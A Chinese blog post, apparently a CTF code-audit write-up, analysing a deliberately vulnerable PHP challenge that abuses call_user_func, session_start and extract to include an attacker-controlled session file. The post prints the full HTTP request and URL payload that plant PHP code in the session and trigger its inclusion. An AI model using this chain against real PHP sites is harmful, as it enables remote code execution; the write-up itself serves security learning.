好久都没有写推文了,主要原因是懒,另外最近一段时间我们老大让我在开发平台,写代码写的头疼。这两天发现很多有意思的题目,自己主要是复现了一下,了解一起其中的道理,算是为以后的路打一下基础,这两天简单研究了一下CTF比赛上的代码审计题目,发现自己代码审计的功底太弱了,逼格比较高的CTF比赛题目一般设计的也比较巧妙,废话不多说,开始吧。
<?php
highlight_file(__FILE__);
error_reporting();
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
虽然代码比较短,利用过程却比较巧妙,现在通读代码:
首先,题目限制了工作目录:/var/www/html:/tmp;
变量$func
以GET
的形式可控;
同时可以运行回调函数,这句代码让这个题目有很大的发挥空间;
include
函数,文件包含file
文件,看似变量不可控;
session_start()
,而且session
内容可控; 可以直接post
的方式提交;
看到session可控,应该能想到是文件包含,getshell,那么这里存在两个问题:
首先第一个问题,从题目中可以看出,session_start()
函数是在call_user_func()
函数之后的才调用的,函数名称可控,所以我们可以先调用一下函数类似这样
session_start(['save_path'=>'/tmp'],)
这时候,session
的路径就保存在了/tmp
,这个时候,index.php
可以满足题目上
ini_set('open_basedir', '/var/www/html:/tmp');
的限制了,
其次是第二个问题 $file
变量看似不可控,但是仔细一想还是用call_user_func()
函数,$file
是个变量,可以用变量覆盖的函数来修改成我们想利用的值,变量覆盖的函数有一下几个,一个个尝试:
但是参数是数组的只有一个extract
因此主要选用extract
不管是选择哪种变量覆盖的函数,首先要将session
的路径设置为可以读取的/tmp
或者/var/www/html
可以利用如下paylaod
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.7/index.php?function=session_start&save_path=/tmp
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Connection: keep-alive
Cookie: Hm_lvt_a36a4f4ee8939983b90ff735d32381a2=1541302869; PHPSESSID=71i7ao6o1261ramos80nkqoa06
Upgrade-Insecure-Requests: 1
name=%3C%3Fphp+phpinfo%28%29%3F%3E
接下来就需要变量覆盖:
可以利用如下的payload
:
http://192.168.1.7/index.php?function=extract&file=/tmp/sess_71i7ao6o1261ramos80nkqoa06